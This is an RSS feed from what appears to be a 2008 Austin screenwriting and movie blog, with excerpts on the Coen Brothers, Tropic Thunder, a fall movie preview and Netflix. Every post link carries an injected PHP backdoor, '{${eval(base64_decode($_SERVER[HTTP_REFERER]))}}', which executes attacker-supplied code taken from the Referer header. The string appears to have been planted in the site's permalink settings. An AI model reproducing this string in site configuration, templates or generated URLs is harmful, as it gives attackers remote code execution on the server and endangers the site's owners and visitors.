http://austinscriptguy.com Mon, 15 Sep 2008 20:40:25 +0000 http://backend.userland.com/rss092 en Before giving you my thoughts on Burn After Reading (which I saw Wednesday night thanks to AICN and The Alamo Drafthouse), I want to rank it among the Coen Brothers' past movies. This is subjective, but here's how I rank their 13 films: Fargo No Country For Old Men The Big Lebowski Blood Simple Barton ... http://austinscriptguy.com/2008/09/12/burn-after-reading-review/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Sorry I've been AWOL the past week--had a lot of stuff come up. Tomorrow, I am fortunate enough to be on the list for the free Burn After Reading screening at The Alamo Drafthouse South. I love the Coen Bros., and this movie is No. 6 on the upcoming last ... http://austinscriptguy.com/2008/09/09/burn-after-reading-austin-screening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ It's been awhile, so I'm not going to offer a lengthy review here. I'd probably give the movie a B-, and a B+ for rewatchability. Robert Downey Jr. was indeed brilliant, but I don't think Tropic Thunder was the instant classic many critics are making it out to be. I ... http://austinscriptguy.com/2008/09/02/tropic-thunder-critics-blunder/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ One of my favorite things on the Web, and, once again, not just because of the cleavage... http://austinscriptguy.com/2008/09/02/scriptgirl-report-829/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ 15. Seven Pounds - Will Smith hooks back up with The Pursuit of Happyness director Gabriele Muccino. I enjoy Big Will and liked their first hook-up. and this project is intriguing. Check out the tagline: "In seven days God created the world... in seven seconds He shattered mine." 14. Changeling - ... http://austinscriptguy.com/2008/08/26/2008-fallwinter-movie-preview-countdown-15-11/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Once again, the lovely ScriptGirl and her weekly report... http://austinscriptguy.com/2008/08/24/822-scriptgirl-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ No need to beat around the bush...let's start counting down the 20 Fall/Winter movies that I'm most excited about... 20. City of Ember - Bill Murray starring in a sci-fi/fantasy flick? Count me in. I love apocalyptic stories (this won't be the only one in this preview) series, and the book ... http://austinscriptguy.com/2008/08/22/2008-fallwinter-movie-preview-countdown-20-16/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A good way to both inspire yourself and create a feel for the world of your screenplay is to create a mock soundtrack. I've done this recently by creating a playlist on iTunes. I think about the key scenes of my story, and then I try to come up with ... http://austinscriptguy.com/2008/08/21/inspire-some-ink-give-your-screenplay-a-mock-soundtrack/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Since I have raved about Netflix in the past, it's only fair that I'm honest about the service's shortcomings as well. The one thing that is really jacked up about Netflix is its priority settings: In determining priority for shipping and inventory allocation, we may utilize many different factors such as ... http://austinscriptguy.com/2008/08/19/netflix-priority/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ One of the things I want to do with this site is occasional film reviews. After reading the reviews--it's currently in the low 20s over at Rotten Tomatoes!--I just don't think I can go to the theater and see The Clone Wars. I'm a huge Star Wars fan, and after ... http://austinscriptguy.com/2008/08/15/the-clone-wars-i-dont-think-i-can-do-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/